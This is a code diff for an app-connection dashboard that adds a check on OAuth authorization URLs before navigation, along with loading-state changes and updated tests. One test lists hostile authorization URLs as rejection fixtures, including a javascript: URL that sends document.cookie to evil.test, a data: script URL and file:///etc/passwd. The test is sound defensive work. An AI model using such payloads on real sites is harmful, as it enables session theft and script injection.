| { ok: false; message: string };
|
||||
|
||||
/**
|
||||
* Vet an authorization URL before it becomes a top-level navigation (PAP-17099).
|
||||
*
|
||||
* The server already refuses to hand out an unsafe endpoint, but this is the
|
||||
* boundary where a bad value would actually execute — `window.location.assign`
|
||||
* on a `javascript:` URL runs script in the board's origin — so the board checks
|
||||
* the same rules with the same shared validator rather than trusting the
|
||||
* response body it just received.
|
||||
*/
|
||||
export function resolveAuthorizationTarget(value: string | null | undefined): AuthorizationTarget {
|
||||
const servedOverHttp = typeof window !== "undefined" && window.location.protocol === "http:";
|
||||
const check = checkOAuthEndpointUrl(value ?? null, {
|
||||
// A board served over plaintext HTTP is a local-development board, where a
|
||||
// loopback authorization server is exactly what someone is testing against.
|
||||
// A board served over HTTPS requires HTTPS.
|
||||
allowInsecureLoopback: servedOverHttp,
|
||||
// Paperclip's own origin: a first-party authorization endpoint (the smoke-lab
|
||||
// fixture) is served however the board is, and going to the page you are
|
||||
// already on adds no exposure.
|
||||
allowInsecureOrigins: typeof window !== "undefined" ? [window.location.origin] : [],
|
||||
});
|
||||
if (check.ok) return { ok: true, url: check.url, host: check.host };
|
||||
return { ok: false, message: oauthEndpointUrlRejectionMessage("authorization", check.reason) };
|
||||
}
|
||||
|
|
@ -6,6 +6,7 @@ import { createRoot } from "react-dom/client";
|
|||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { AppDetail } from "./AppDetail";
|
||||
import { APP_TABS } from "./app-tabs";
|
||||
|
||||
const getConnectionMock = vi.hoisted(() => vi.fn());
|
||||
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||||
|
|
@ -88,8 +89,9 @@ vi.mock("@/context/BreadcrumbContext", () => ({
|
|||
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
|
||||
}));
|
||||
|
||||
const pushToastMock = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/context/ToastContext", () => ({
|
||||
useToast: () => ({ pushToast: vi.fn() }),
|
||||
useToast: () => ({ pushToast: pushToastMock }),
|
||||
}));
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
|
|
@ -244,7 +246,7 @@ describe("AppDetail", () => {
|
|||
startOAuthMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "smoke_lab",
|
||||
authorizationUrl: "http://example.test/oauth",
|
||||
authorizationUrl: "https://example.test/oauth",
|
||||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||||
});
|
||||
});
|
||||
|
|
@ -268,6 +270,17 @@ describe("AppDetail", () => {
|
|||
await flushReact();
|
||||
}
|
||||
|
||||
it("places Test immediately below Setup", () => {
|
||||
expect(APP_TABS.map((tab) => tab.key)).toEqual([
|
||||
"setup",
|
||||
"test",
|
||||
"review",
|
||||
"permissions",
|
||||
"activity",
|
||||
"advanced",
|
||||
]);
|
||||
});
|
||||
|
||||
it("pauses the app by flipping the connection enabled flag", async () => {
|
||||
await renderAppDetail();
|
||||
|
||||
|
|
@ -284,6 +297,23 @@ describe("AppDetail", () => {
|
|||
expect(updateConnectionMock).toHaveBeenCalledWith("conn-1", { enabled: false });
|
||||
});
|
||||
|
||||
it("keeps the unverified-server marker on URL-only connection details", async () => {
|
||||
getConnectionMock.mockResolvedValue(
|
||||
connection({
|
||||
name: "127.0.0.1",
|
||||
config: { url: "http://127.0.0.1:8848/mcp" },
|
||||
transportConfig: { url: "http://127.0.0.1:8848/mcp" },
|
||||
}),
|
||||
);
|
||||
|
||||
await renderAppDetail();
|
||||
|
||||
expect(container.textContent).toContain("Custom app");
|
||||
expect(container.textContent).toContain("hosted at 127.0.0.1");
|
||||
expect(container.textContent).toContain("Unverified server");
|
||||
expect(container.textContent).toContain("127.0.0.1:8848");
|
||||
});
|
||||
|
||||
it("redirects a missing tab to setup", async () => {
|
||||
mockParams.tab = undefined;
|
||||
|
||||
|
|
@ -293,19 +323,41 @@ describe("AppDetail", () => {
|
|||
});
|
||||
|
||||
it.each([
|
||||
["setup", "Agents can use this app"],
|
||||
["review", "Review 1 new action"],
|
||||
["permissions", "Action permissions"],
|
||||
["activity", "No activity yet."],
|
||||
["advanced", "Technical details"],
|
||||
])("renders the %s tab panel", async (tab, expectedText) => {
|
||||
["setup", "Agents can use this app", false],
|
||||
["review", "Review 1 new action", true],
|
||||
["permissions", "Action permissions", true],
|
||||
["activity", "No activity yet.", false],
|
||||
["advanced", "Technical details", false],
|
||||
])("renders the %s tab panel", async (tab, expectedText, showsActionCount) => {
|
||||
mockParams.tab = tab;
|
||||
|
||||
await renderAppDetail();
|
||||
|
||||
expect(container.textContent).toContain("GitHub");
|
||||
expect(container.textContent).toContain("2 actions available");
|
||||
expect(container.textContent?.includes("2 actions available")).toBe(showsActionCount);
|
||||
expect(container.textContent).toContain(expectedText);
|
||||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("renders setup without waiting for tool discovery", async () => {
|
||||
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
|
||||
|
||||
await renderAppDetail();
|
||||
|
||||
expect(container.textContent).toContain("Agents can use this app");
|
||||
expect(container.textContent).not.toContain("Loading tools");
|
||||
expect(listCatalogMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => {
|
||||
mockParams.tab = "permissions";
|
||||
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
|
||||
|
||||
await renderAppDetail();
|
||||
|
||||
expect(container.textContent).toContain("GitHub");
|
||||
expect(container.textContent).toContain("Loading tools…");
|
||||
expect(container.textContent).not.toContain("Action permissions");
|
||||
});
|
||||
|
||||
it("hides secret URL parameters in advanced technical details", async () => {
|
||||
|
|
@ -403,6 +455,7 @@ describe("AppDetail", () => {
|
|||
expect(container.textContent).toContain("Agents can use this app");
|
||||
expect(container.textContent).not.toContain("Read repo");
|
||||
expect(container.textContent).not.toContain("Action permissions");
|
||||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => {
|
||||
|
|
@ -533,6 +586,7 @@ describe("AppDetail", () => {
|
|||
const writeSelect = container.querySelector<HTMLSelectElement>('select[aria-label="Write issue permission"]');
|
||||
expect(readSelect?.value).toBe("allowed");
|
||||
expect(writeSelect?.value).toBe("ask");
|
||||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("persists ask-first for read-only actions from the unified dropdown", async () => {
|
||||
|
|
@ -795,6 +849,47 @@ describe("AppDetail", () => {
|
|||
await flushReact();
|
||||
|
||||
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
|
||||
expect(navigateTopLevelMock).toHaveBeenCalledWith("http://example.test/oauth");
|
||||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth");
|
||||
});
|
||||
|
||||
/**
|
||||
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
|
||||
* but this is the boundary where one would actually execute, so the board must
|
||||
* refuse it independently of what the response body says.
|
||||
*/
|
||||
it.each([
|
||||
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
|
||||
["data:", "data:text/html,<script>alert(document.domain)</script>"],
|
||||
["file:", "file:///etc/passwd"],
|
||||
["plaintext http", "http://evil.test/authorize"],
|
||||
["credentials", "https://accounts.example.test@evil.test/authorize"],
|
||||
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
|
||||
mockParams.tab = "permissions";
|
||||
getConnectionMock.mockResolvedValue(connection({
|
||||
authKind: "oauth",
|
||||
healthStatus: "failed",
|
||||
healthMessage: "Authorization expired (invalid_grant).",
|
||||
}));
|
||||
startOAuthMock.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "generic",
|
||||
authorizationUrl,
|
||||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||||
});
|
||||
|
||||
await renderAppDetail();
|
||||
await act(async () => {
|
||||
Array.from(container.querySelectorAll("button"))
|
||||
.find((button) => button.textContent?.trim() === "Reconnect")
|
||||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||||
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
|
||||
// The refusal explains itself without echoing the hostile URL back into the DOM.
|
||||
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
|
||||
expect(body.length).toBeGreaterThan(0);
|
||||
expect(body).not.toContain(authorizationUrl);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -22,12 +22,14 @@ import { accessApi } from "@/api/access";
|
|||
import { authApi } from "@/api/auth";
|
||||
import { buildCompanyUserLabelMap } from "@/lib/company-members";
|
||||
import { installPayload, installStateFrom, type InstallState } from "@/lib/tool-installs";
|
||||
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
|
||||
import { navigateTopLevel } from "@/lib/browserNavigation";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Skeleton } from "@/components/ui/skeleton";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { AppLogo } from "./AppLogo";
|
||||
import { UnverifiedServerBadge } from "./UnverifiedServerBadge";
|
||||
import {
|
||||
appDefinitionLogoUrl,
|
||||
appDefinitionName,
|
||||
|
|
@ -60,6 +62,7 @@ export function AppDetail() {
|
|||
const { setBreadcrumbs } = useBreadcrumbs();
|
||||
|
||||
const activeTab: AppTabKey | null = isAppTabKey(tab) ? tab : null;
|
||||
const needsCatalog = activeTab === "review" || activeTab === "permissions" || activeTab === "test";
|
||||
|
||||
const connectionQuery = useQuery({
|
||||
queryKey: queryKeys.tools.connection(connectionId),
|
||||
|
|
@ -79,22 +82,22 @@ export function AppDetail() {
|
|||
const catalogQuery = useQuery({
|
||||
queryKey: queryKeys.tools.catalog(connectionId),
|
||||
queryFn: () => toolsApi.listCatalog(connectionId),
|
||||
enabled: !!connectionId && !!activeTab,
|
||||
enabled: !!connectionId && needsCatalog,
|
||||
});
|
||||
const profilesQuery = useQuery({
|
||||
queryKey: queryKeys.tools.profiles(selectedCompanyId ?? "__none__"),
|
||||
queryFn: () => toolsApi.listProfiles(selectedCompanyId!),
|
||||
enabled: !!selectedCompanyId && !!activeTab,
|
||||
enabled: !!selectedCompanyId && (activeTab === "review" || activeTab === "permissions"),
|
||||
});
|
||||
const policiesQuery = useQuery({
|
||||
queryKey: queryKeys.tools.policies(selectedCompanyId ?? "__none__"),
|
||||
queryFn: () => toolsApi.listPolicies(selectedCompanyId!),
|
||||
enabled: !!selectedCompanyId && !!activeTab,
|
||||
enabled: !!selectedCompanyId && (activeTab === "review" || activeTab === "permissions"),
|
||||
});
|
||||
const agentsQuery = useQuery({
|
||||
queryKey: queryKeys.agents.list(selectedCompanyId ?? "__none__"),
|
||||
queryFn: () => agentsApi.list(selectedCompanyId!),
|
||||
enabled: !!selectedCompanyId && !!activeTab,
|
||||
enabled: !!selectedCompanyId && (activeTab === "permissions" || activeTab === "activity"),
|
||||
});
|
||||
const activityQuery = useQuery({
|
||||
queryKey: queryKeys.tools.connectionActivity(connectionId),
|
||||
|
|
@ -246,7 +249,14 @@ export function AppDetail() {
|
|||
const startOAuth = useMutation({
|
||||
mutationFn: () => toolsApi.startOAuth(connectionId),
|
||||
onSuccess: ({ authorizationUrl }) => {
|
||||
navigateTopLevel(authorizationUrl);
|
||||
// Checked again at the navigation boundary (PAP-17099): the address came
|
||||
// from the remote server, and this is where an unsafe scheme would run.
|
||||
const target = resolveAuthorizationTarget(authorizationUrl);
|
||||
if (!target.ok) {
|
||||
pushToast({ title: "Couldn't start sign-in", body: target.message, tone: "error" });
|
||||
return;
|
||||
}
|
||||
navigateTopLevel(target.url);
|
||||
},
|
||||
onError: (error) =>
|
||||
pushToast({
|
||||
|
|
@ -264,7 +274,7 @@ export function AppDetail() {
|
|||
queryClient.invalidateQueries({ queryKey: queryKeys.apps.attention(selectedCompanyId!) });
|
||||
pushToast({
|
||||
title: "App removed",
|
||||
body: `${appName} no longer has access. You can connect it again any time.`,
|
||||
body: `${appName} no longer has access and its credentials are deleted. Connecting it again needs a new sign-in or key.`,
|
||||
tone: "success",
|
||||
});
|
||||
navigate("/apps/connections");
|
||||
|
|
@ -350,7 +360,7 @@ export function AppDetail() {
|
|||
if (!selectedCompanyId) {
|
||||
return <div className="p-6 text-sm text-muted-foreground">Select an organization to manage apps.</div>;
|
||||
}
|
||||
if (connectionQuery.isLoading || catalogQuery.isLoading) {
|
||||
if (connectionQuery.isLoading) {
|
||||
return (
|
||||
<div className="max-w-3xl space-y-4">
|
||||
<Skeleton className="h-10 w-56" />
|
||||
|
|
@ -376,7 +386,11 @@ export function AppDetail() {
|
|||
const active = catalog.filter((e) => e.status !== "quarantined" && e.status !== "removed");
|
||||
const readOnly = active.filter((e) => e.isReadOnly);
|
||||
const canChange = active.filter((e) => !e.isReadOnly);
|
||||
const actionCount = active.length;
|
||||
const actionCount = catalogQuery.data ? active.length : null;
|
||||
const reviewLoading = catalogQuery.isLoading || profilesQuery.isLoading || policiesQuery.isLoading;
|
||||
const permissionsLoading = reviewLoading || installsQuery.isLoading || agentsQuery.isLoading;
|
||||
const reviewFailed = catalogQuery.isError || profilesQuery.isError || policiesQuery.isError;
|
||||
const permissionsFailed = reviewFailed || installsQuery.isError || agentsQuery.isError;
|
||||
|
||||
return (
|
||||
<div className="max-w-3xl space-y-6 pb-12">
|
||||
|
|
@ -426,36 +440,58 @@ export function AppDetail() {
|
|||
/>
|
||||
)}
|
||||
{activeTab === "review" && (
|
||||
<ReviewPanel
|
||||
connectionId={connectionId}
|
||||
quarantined={quarantined}
|
||||
pending={pending}
|
||||
onReviewQuarantined={reviewQuarantined}
|
||||
/>
|
||||
reviewFailed
|
||||
? <ToolsLoadError onRetry={() => {
|
||||
void catalogQuery.refetch();
|
||||
void profilesQuery.refetch();
|
||||
void policiesQuery.refetch();
|
||||
}} />
|
||||
: reviewLoading
|
||||
? <ToolsLoading />
|
||||
: <ReviewPanel
|
||||
connectionId={connectionId}
|
||||
quarantined={quarantined}
|
||||
pending={pending}
|
||||
onReviewQuarantined={reviewQuarantined}
|
||||
/>
|
||||
)}
|
||||
{activeTab === "permissions" && (
|
||||
<PermissionsPanel
|
||||
appName={appName}
|
||||
access={access}
|
||||
agents={agents}
|
||||
install={install}
|
||||
readOnly={readOnly}
|
||||
canChange={canChange}
|
||||
quarantined={quarantined}
|
||||
enabledIds={enabledIds}
|
||||
askFirstIds={askFirstIds}
|
||||
pending={pending}
|
||||
installPending={persistInstall.isPending || installsQuery.isLoading}
|
||||
refreshPending={refreshTools.isPending}
|
||||
onSaveAccess={(next) => apply({ access: next })}
|
||||
onSaveInstall={(next) => persistInstall.mutate(next)}
|
||||
onRefreshActions={() => refreshTools.mutate()}
|
||||
onSetActionPermission={(id, next) => apply(actionPermissionMutation(id, next, enabledIds, askFirstIds))}
|
||||
onReviewQuarantined={reviewQuarantined}
|
||||
/>
|
||||
permissionsFailed
|
||||
? <ToolsLoadError onRetry={() => {
|
||||
void catalogQuery.refetch();
|
||||
void profilesQuery.refetch();
|
||||
void policiesQuery.refetch();
|
||||
void installsQuery.refetch();
|
||||
void agentsQuery.refetch();
|
||||
}} />
|
||||
: permissionsLoading
|
||||
? <ToolsLoading />
|
||||
: <PermissionsPanel
|
||||
appName={appName}
|
||||
access={access}
|
||||
agents={agents}
|
||||
install={install}
|
||||
readOnly={readOnly}
|
||||
canChange={canChange}
|
||||
quarantined={quarantined}
|
||||
enabledIds={enabledIds}
|
||||
askFirstIds={askFirstIds}
|
||||
pending={pending}
|
||||
installPending={persistInstall.isPending}
|
||||
refreshPending={refreshTools.isPending}
|
||||
onSaveAccess={(next) => apply({ access: next })}
|
||||
onSaveInstall={(next) => persistInstall.mutate(next)}
|
||||
onRefreshActions={() => refreshTools.mutate()}
|
||||
onSetActionPermission={(id, next) => apply(actionPermissionMutation(id, next, enabledIds, askFirstIds))}
|
||||
onReviewQuarantined={reviewQuarantined}
|
||||
/>
|
||||
)}
|
||||
{activeTab === "test" && (
|
||||
<TestPanel connectionId={connectionId} appName={appName} active={active} quarantined={quarantined} />
|
||||
catalogQuery.isError
|
||||
? <ToolsLoadError onRetry={() => { void catalogQuery.refetch(); }} />
|
||||
: catalogQuery.isLoading
|
||||
? <ToolsLoading />
|
||||
: <TestPanel connectionId={connectionId} appName={appName} active={active} quarantined={quarantined} />
|
||||
)}
|
||||
{activeTab === "activity" && (
|
||||
<ActivityPanel
|
||||
|
|
@ -506,7 +542,7 @@ function AppDetailHeader({
|
|||
connection: ToolConnection;
|
||||
logoEntry: AppGalleryDisplayEntry | null;
|
||||
status: StatusInfo;
|
||||
actionCount: number;
|
||||
actionCount: number | null;
|
||||
renaming: boolean;
|
||||
nameDraft: string;
|
||||
renamePending: boolean;
|
||||
|
|
@ -515,6 +551,8 @@ function AppDetailHeader({
|
|||
onRenameCancel: () => void;
|
||||
onRenameSubmit: (value: string) => void;
|
||||
}) {
|
||||
const unverifiedHost = unverifiedRemoteHost(connection);
|
||||
|
||||
return (
|
||||
<header className="flex flex-wrap items-start justify-between gap-4">
|
||||
<div className="flex items-center gap-3">
|
||||
|
|
@ -559,11 +597,14 @@ function AppDetailHeader({
|
|||
{connectionDisplaySecondaryHint(connection) && (
|
||||
<p className="text-xs text-muted-foreground">{connectionDisplaySecondaryHint(connection)}</p>
|
||||
)}
|
||||
{unverifiedHost ? <UnverifiedServerBadge host={unverifiedHost} className="mt-1" /> : null}
|
||||
<div className="mt-1 flex items-center gap-2">
|
||||
<StatusBadge status={status} />
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{actionCount} {actionCount === 1 ? "action" : "actions"} available
|
||||
</span>
|
||||
{actionCount !== null && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{actionCount} {actionCount === 1 ? "action" : "actions"} available
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
|
@ -571,6 +612,46 @@ function AppDetailHeader({
|
|||
);
|
||||
}
|
||||
|
||||
function ToolsLoading() {
|
||||
return (
|
||||
<div className="flex items-center gap-2 py-8 text-sm text-muted-foreground" role="status">
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
Loading tools…
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ToolsLoadError({ onRetry }: { onRetry: () => void }) {
|
||||
return (
|
||||
<div className="space-y-3 py-8">
|
||||
<p className="text-sm text-destructive">Couldn’t load tools for this app.</p>
|
||||
<Button size="sm" variant="outline" onClick={onRetry}>Try again</Button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function unverifiedRemoteHost(connection: ToolConnection): string | null {
|
||||
const sourceTemplateKey = connection.config?.sourceTemplateKey ?? connection.transportConfig.sourceTemplateKey;
|
||||
if (
|
||||
connection.transport !== "mcp_remote"
|
||||
|| (typeof sourceTemplateKey === "string" && sourceTemplateKey.trim())
|
||||
) return null;
|
||||
|
||||
const value = connection.config?.url
|
||||
?? connection.config?.endpoint
|
||||
?? connection.config?.remoteUrl
|
||||
?? connection.transportConfig.url
|
||||
?? connection.transportConfig.endpoint
|
||||
?? connection.transportConfig.remoteUrl;
|
||||
if (typeof value !== "string") return null;
|
||||
|
||||
try {
|
||||
return new URL(value).host || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
type StatusInfo = { label: string; tone: "connected" | "attention" | "paused" };
|
||||
|
||||
function statusFor(connection: ToolConnection): StatusInfo {
|
||||
|
|
|
|||
|
|
@ -245,6 +245,37 @@ describe("AppNotConnected", () => {
|
|||
);
|
||||
});
|
||||
|
||||
it("does not group unrelated generic link applications", async () => {
|
||||
listApplicationsMock.mockResolvedValue({
|
||||
applications: [
|
||||
application({
|
||||
id: "app-1",
|
||||
applicationKey: "app-gallery:link:first",
|
||||
name: "First server",
|
||||
metadata: { source: "link" },
|
||||
}),
|
||||
application({
|
||||
id: "app-2",
|
||||
applicationKey: "app-gallery:link:second",
|
||||
name: "Second server",
|
||||
metadata: { source: "link" },
|
||||
}),
|
||||
],
|
||||
});
|
||||
listConnectionsMock.mockResolvedValue({
|
||||
connections: [
|
||||
connection({ id: "conn-old", applicationId: "app-1", status: "archived" }),
|
||||
connection({ id: "conn-live", applicationId: "app-2", status: "active" }),
|
||||
],
|
||||
});
|
||||
|
||||
await renderPage();
|
||||
|
||||
expect(container.textContent).toContain("Not connected");
|
||||
expect(container.textContent).toContain("Reconnect this app");
|
||||
expect(container.textContent).not.toContain("Already connected to First server");
|
||||
});
|
||||
|
||||
it.each([
|
||||
["setup", "Reconnect this app"],
|
||||
["review", "Nothing is waiting for your OK right now."],
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@ import { createRoot } from "react-dom/client";
|
|||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import { CONNECTABLE_APP_DEFINITIONS } from "@paperclipai/shared";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { ApiError } from "@/api/client";
|
||||
import { queryKeys } from "@/lib/queryKeys";
|
||||
import { AppsConnect } from "./AppsConnect";
|
||||
|
||||
|
|
@ -23,6 +24,7 @@ const mockParams = vi.hoisted(() => ({ appKey: undefined as string | undefined }
|
|||
|
||||
const ZAPIER = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "zapier")!;
|
||||
const NOTION = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "notion")!;
|
||||
const POSTHOG = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "posthog")!;
|
||||
const GOOGLE_SHEETS = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-sheets")!;
|
||||
|
||||
vi.mock("@/api/tools", () => ({
|
||||
|
|
@ -190,7 +192,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
await render();
|
||||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||||
|
||||
expect(container.textContent).toContain("Connect with a link");
|
||||
expect(container.textContent).toContain("Connect your own MCP server");
|
||||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||||
expect(container.textContent).toContain("Does it need a key?");
|
||||
expect(buttonByText("No")).toBeTruthy();
|
||||
|
|
@ -200,7 +202,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input")).find(
|
||||
(i) => i.getAttribute("placeholder") === "My app",
|
||||
);
|
||||
expect(nameInput?.value).toBe("example.com");
|
||||
expect(nameInput?.value).toBe("example.com/actions");
|
||||
});
|
||||
|
||||
it("opens the selected app directly on its setup route", async () => {
|
||||
|
|
@ -211,6 +213,66 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
expect(container.textContent).not.toContain("Pick the app you want your agents to use.");
|
||||
});
|
||||
|
||||
it("requires a PostHog method and submits the selected project scope", async () => {
|
||||
mockParams.appKey = "posthog";
|
||||
listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] });
|
||||
await render();
|
||||
|
||||
expect(container.textContent).toContain("How do you want to connect?");
|
||||
expect(buttonByText("Sign in with PostHog")?.getAttribute("aria-pressed")).toBe("false");
|
||||
expect(buttonByText("Use a personal API key")?.getAttribute("aria-pressed")).toBe("false");
|
||||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||||
|
||||
await act(async () => {
|
||||
buttonByText("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
const projectInput = container.querySelector<HTMLInputElement>('input[placeholder="12345"]');
|
||||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||||
const advanced = buttonByText("Advanced");
|
||||
expect(projectInput).toBeTruthy();
|
||||
expect(keyInput).toBeTruthy();
|
||||
expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false");
|
||||
expect(advanced?.getAttribute("aria-expanded")).toBe("false");
|
||||
expect(container.textContent).not.toContain("Feature groups");
|
||||
expect(container.textContent).not.toContain("Individual tools");
|
||||
expect(container.textContent).not.toContain("Tool response mode");
|
||||
|
||||
await act(async () => {
|
||||
advanced?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(advanced?.getAttribute("aria-expanded")).toBe("true");
|
||||
expect(container.textContent).toContain("Feature groups");
|
||||
expect(container.textContent).toContain("Individual tools");
|
||||
expect(container.textContent).toContain("Tool response mode");
|
||||
|
||||
await act(async () => {
|
||||
setInputValue(projectInput!, "12345");
|
||||
setInputValue(keyInput!, "phx_test-key");
|
||||
});
|
||||
await flushReact();
|
||||
await act(async () => {
|
||||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||||
galleryKey: "posthog",
|
||||
connectionMethodKey: "mcp-api-key",
|
||||
name: "PostHog",
|
||||
credentialValues: { "credentials.authorization": "phx_test-key" },
|
||||
configValues: {
|
||||
projectId: "12345",
|
||||
readOnly: false,
|
||||
mode: "tools",
|
||||
},
|
||||
applicationId: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("auto-starts the allowlisted Notion source deep link and opens provider sign-in", async () => {
|
||||
mockSearch.value = "source=notion";
|
||||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||||
|
|
@ -566,7 +628,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
|
||||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||||
const [, input] = connectAppMock.mock.calls[0];
|
||||
expect(input).toMatchObject({ link: "https://www.example.com/actions", name: "example.com" });
|
||||
expect(input).toMatchObject({ link: "https://www.example.com/actions", name: "example.com/actions" });
|
||||
expect(input.credentialValues).toBeUndefined();
|
||||
});
|
||||
|
||||
|
|
@ -590,7 +652,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
container.querySelectorAll<HTMLInputElement>("input"),
|
||||
).filter((i) => i.type === "password");
|
||||
expect(passwordInputs).toHaveLength(1);
|
||||
expect(container.textContent).toContain("Your key is stored securely.");
|
||||
expect(container.textContent).toContain("Stored securely.");
|
||||
|
||||
await act(async () => setInputValue(passwordInputs[0], "secret-key"));
|
||||
await flushReact();
|
||||
|
|
@ -622,7 +684,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
});
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("Connect with a link");
|
||||
expect(container.textContent).toContain("Connect your own MCP server");
|
||||
expect(container.textContent).toContain(zapierUrl);
|
||||
expect(nameInputFrom(container)?.value).toBe("Zapier");
|
||||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||||
|
|
@ -664,7 +726,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
});
|
||||
await render();
|
||||
|
||||
expect(container.textContent).toContain("Step 1 of 4");
|
||||
expect(container.textContent).toContain("Step 1 of 3");
|
||||
expect(container.textContent).toContain("Connect Zapier");
|
||||
expect(container.textContent).toContain("Add MCP URL");
|
||||
expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy();
|
||||
|
|
@ -685,15 +747,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
|
||||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({ link: zapierUrl, name: "Zapier" });
|
||||
expect(container.textContent).toContain("Step 2 of 4");
|
||||
expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy();
|
||||
|
||||
await act(async () => {
|
||||
buttonByText("Continue with 1 action on")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("Step 3 of 4");
|
||||
expect(container.textContent).toContain("Step 2 of 3");
|
||||
expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy();
|
||||
|
||||
await act(async () => {
|
||||
|
|
@ -731,7 +785,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
});
|
||||
await flushReact();
|
||||
|
||||
expect(container.textContent).toContain("Step 4 of 4");
|
||||
expect(container.textContent).toContain("Step 3 of 3");
|
||||
expect(container.textContent).toContain("Install Zapier tools?");
|
||||
expect(container.textContent).toContain("Not yet");
|
||||
|
||||
|
|
@ -804,7 +858,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
"link=https%3A%2F%2Fwww.example.com%2Factions&name=Bla&applicationId=app-77";
|
||||
await render();
|
||||
|
||||
expect(container.textContent).toContain("Connect with a link");
|
||||
expect(container.textContent).toContain("Connect your own MCP server");
|
||||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input")).find(
|
||||
(i) => i.getAttribute("placeholder") === "My app",
|
||||
|
|
@ -920,7 +974,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
|||
await flushReact();
|
||||
|
||||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?byo=1&appKey=zapier&stage=actions");
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?byo=1&appKey=zapier&stage=access");
|
||||
